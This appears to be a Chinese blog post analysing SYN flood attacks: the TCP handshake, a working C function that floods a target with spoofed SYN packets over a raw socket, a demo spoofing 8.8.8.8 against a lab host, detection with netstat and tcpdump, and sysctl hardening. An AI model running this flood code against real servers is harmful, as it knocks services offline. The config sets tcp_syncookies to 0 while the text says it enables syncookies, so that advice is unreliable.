近期遇到几例服务器被SYN攻击的问题,今天详细分析一下SYN flood攻击的原理

简单回顾一下TCP/IP三次握手的过程

1. Host A 发送一个TCPSYNchronize 包到 Host B

2. Host B 收到 Host A的SYN

3. Host B 发送一个 SYNchronize-ACKnowledgement

4. Host A 接收到Host B的SYN-ACK

5. Host A 发送ACKnowledge

6. Host B 接收到ACK

7.TCP socket 连接建立ESTABLISHED.

SYN flood(SYN洪水攻击)

在三次握手过程中,Host B发送SYN-ACK之后,收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后,Host B转入ESTABLISHED状态.

SYN攻击就是攻击端Host A在短时间内伪造大量不存在的伪IP地址,向Host B不断地发送SYN包,Host B回复确认包,并等待Host A的确认,由于源地址是不存在的,Host B需要不断的重发包直 至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

SYN flood攻击是一种典型的DDos攻击。检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击.

我们可以用C语言写个程序模拟SYN flood攻击,以下为程序片段

点击(此处)折叠或打开

void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)

{

struct

{

struct iphdr ip;

struct tcphdr tcp;

} packet;

struct

{

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

} pseudo_header;

int sock, sinlen;

struct sockaddr_in sin;

packet.ip.ihl = 5;

packet.ip.version = 4;

packet.ip.tos = 0;

packet.ip.tot_len = htons(40);

packet.ip.id = getpid();

packet.ip.frag_off = 0;

packet.ip.ttl = 255;

packet.ip.protocol = IPPROTO_TCP;

packet.ip.check = 0;

packet.ip.saddr = src_host;

packet.ip.daddr = dst_host;

packet.tcp.source = getpid();

packet.tcp.dest = htons(port);

packet.tcp.seq = getpid();

packet.tcp.ack_seq = 0;

packet.tcp.res1 = 0;

packet.tcp.doff = 5;

packet.tcp.fin = 0;

packet.tcp.syn = 1;

packet.tcp.rst = 0;

packet.tcp.psh = 0;

packet.tcp.ack = 0;

packet.tcp.urg = 0;

packet.tcp.window = htons(512);

packet.tcp.check = 0;

packet.tcp.urg_ptr = 0;

sin.sin_family = AF_INET;

sin.sin_port = packet.tcp.source;

sin.sin_addr.s_addr = packet.ip.daddr;

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

for(;;)

{

packet.tcp.source++;

packet.ip.id++;

packet.tcp.seq++;

packet.tcp.check = 0;

packet.ip.check = 0;

packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);

pseudo_header.source_address = packet.ip.saddr;

pseudo_header.dest_address = packet.ip.daddr;

pseudo_header.placeholder = 0;

pseudo_header.protocol = IPPROTO_TCP;

pseudo_header.tcp_length = htons(20);

bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);

packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

sinlen = sizeof(sin);

sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);

}

close(sock);

在Host A上执行攻击程序,伪装源IP成8.8.8.8(google DNS),目标地址192.168.39.131的80端口

在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接

此时Host B收到包后连接为SYN_RECV状态,根据TCP/IP协议应该发送SYN_ACK回复给Host A,在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取,发现存在大量SYN_ACK状态的连接,

可惜源ip为伪装的地址,所以会超时重传。此时如有正常请求Host B的80端口,它的SYN包就会被Host B丢弃,因为半连接队列已经满了(耗尽内存以及CPU资源),从而达到攻击目的。

Linux kernel也提供了Syncookies 等机制来防止syn攻击,以下是具体修改的内核参数。

点击(此处)折叠或打开

# default = 5

net.ipv4.tcp_syn_retries = 3

# default = 5

net.ipv4.tcp_synack_retries = 3

# default = 1024

net.ipv4.tcp_max_syn_backlog = 65536

# default = 124928

net.core.wmem_max = 8388608

# default = 131071

net.core.rmem_max = 8388608

# default = 128

net.core.somaxconn = 512

# default = 20480

net.core.optmem_max = 81920

# default = 1

net.ipv4.tcp_syncookies = 0

其中net.ipv4.tcp_synack_retries,net.ipv4.tcp_syncookies,net.ipv4.tcp_max_syn_backlog作用分别是减小SYN_ACK重传次数,启用syn cookie和增加半连接队列长度。

虽然系统能在当半连接队列满时,启用syn cookie功能,但也不是可以完全防御的。因为其一,Linux kernel的协议栈本身对此类DDos攻击的防御效有缺陷;其二,如果说攻击瞬间并发量足够大,毕竟Host B的CPU、内存资源是有限的,所以一般采用专业的硬件防火墙设备。

linux 查看syn网络日志,Linux下分析SYN flood攻击案例相关推荐

  1. linux查看磁盘硬件日志,Linux下如何查看硬件信息

    系统# uname -a               # 查看内核/操作系统/CPU信息# head -n 1 /etc/issue   # 查看操作系统版本# cat /proc/cpuinfo   ...

  2. linux查看tcp连接日志,linux下tcp状态是从哪查出来的

    linux中,各种tcp连接的状态存储在 /proc/net/tcp 文件中 其中st列就是tcp的各种状态,那么这个值代表什么意思呢? 有网友从内核源码里找到了这个 enum { TCP_ESTAB ...

  3. linux 查看用户操作日志,Linux下记录所有用户的登录和操作日志

    一般我们可以用history命令来查看用户的操作记录,但是这个命令不能记录是哪个用户登录操作的,也不能记录详细的操作时间,且不完整:所以误操作而造成重要的数据丢失,就很难查到是谁操作的. 在这里我们通 ...

  4. linux查看进程临时日志,Linux sed查看某时间段的系统日志

    在系统应用集中部署的时候,很多日志因为太多难以定位,获取某段时间的日志是对运维人员非常关键的事情. 一.sed查看某时间段到现在的系统日志: sed  -n  '/May 20 17/,$p'   / ...

  5. linux查看cpu监控日志,Linux:日志,cpu,memory,mount,load等系统信息查看

    系统硬件信息查看方法 CPU: a 利用文件进行查看: cat /proc/cpuinfo model name: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz -- ...

  6. Linux查看文件和日志的常用命令

    Linux查看文件和日志的常用命令 当项目部署和运行起来后,会产生很多的运行日志.日志的内容是程序里定义的重要输出信息,还有程序出错的报错信息. 查看日志文件大部分是去日志中获取一些数据,确认某些信息 ...

  7. linux 进程被杀日志,Linux查看日志和关闭、杀***进程命令

    1  -----Linux查看tomcat日志命令: cd    /:切换到根目录 ll:查看根目录下的文件 cd    /data/kafu/log:切换到日志目录 ll:查看日志目录下的文件 ta ...

  8. linux查看mysql连接日志文件,linux下查看mysql日志文件的方法

    查看mysql日志方法: mysql默认不允许我们查看日志.需要更改一些设置 1 vi 更改配置文件 允许用户查看日志文件 sudo vi /etc/mysql/mysql.conf.d/mysqld ...

  9. linux怎么查看tomcat错误日志,Linux下查看Tomcat运行日志

    查看方式 1.先切换到:cd usr/local/tomcat5/logs 2.tail -f catalina.out 3.Ctrl+c 是退出tail命令/alt+E+R重置 部署常用指令 1.p ...

  10. linux 查看 定时任务 crontab 日志记录

    在Unix和类Unix的操作系统之中,crontab命令常用于设置周期性被执行的指令,也可以理解为设置定时任务. crontab中的定时任务有时候没有成功执行,什么原因呢?这时就需要去日志里去分析一下 ...

最新文章

  1. R语言ggplot2可视化使用ggplotly(plotly version of R)可视化散点图(scatter plot)
  2. 通过Java执行python文件
  3. boost::geometry::assign用法的测试程序
  4. Redis分布式锁实现方式
  5. 介绍一个好用的静态图片合成为 gif 动画的在线网站
  6. 服务器热修复,热修复探究,hotfix,patch
  7. input的一些使用方法
  8. dubbo+zookeper与webservice的简单对比
  9. python while快速写法_从零开始学Python,带你手把手实战之一
  10. 微信怎么自动加好友java_Xposed-微信自动加好友功能实现
  11. Latex大括号左对齐
  12. 软件可靠性测试意义,软件可靠性测试方法与目的
  13. 网络编程-HTTP编程
  14. 【JUC】并发编程(二)
  15. 编写程序:由键盘输入三个整数分别存入变量num1、num2、num3, 对它们进行排序(使用 if-else if-else),并且从小到大输出。
  16. Linux自学篇——linux命令英文全称及解释
  17. 中荷人寿山东省分公司开展保险消费者权益保护教育宣传周活动
  18. Windows下Android源码下载
  19. 解决微信小程序“app.json: [“workers“] 字段需为 目录“错误及worker的使用
  20. 基于MRS-ClickHouse构建用户画像系统方案介绍

热门文章

  1. 1183 电力(点的双连通分量--求解割点)
  2. 分布式系统中可用性及容错性的区别
  3. 【渝粤题库】陕西师范大学200531 英语测试 作业(高起本、专升本)
  4. 程序设计 :题解+总结
  5. 淘宝/天猫API:upload_img-上传图片到淘宝
  6. 六级词汇总结( 整理自己的大学时候的资料发现的好东东!!~~)
  7. 揭秘世界五大著名黑客
  8. 非常非常地重试重试组件,使用杠铃的
  9. qq空间个人档html代码,最新整理QQ空间全代码
  10. SQL课设之报刊订阅管理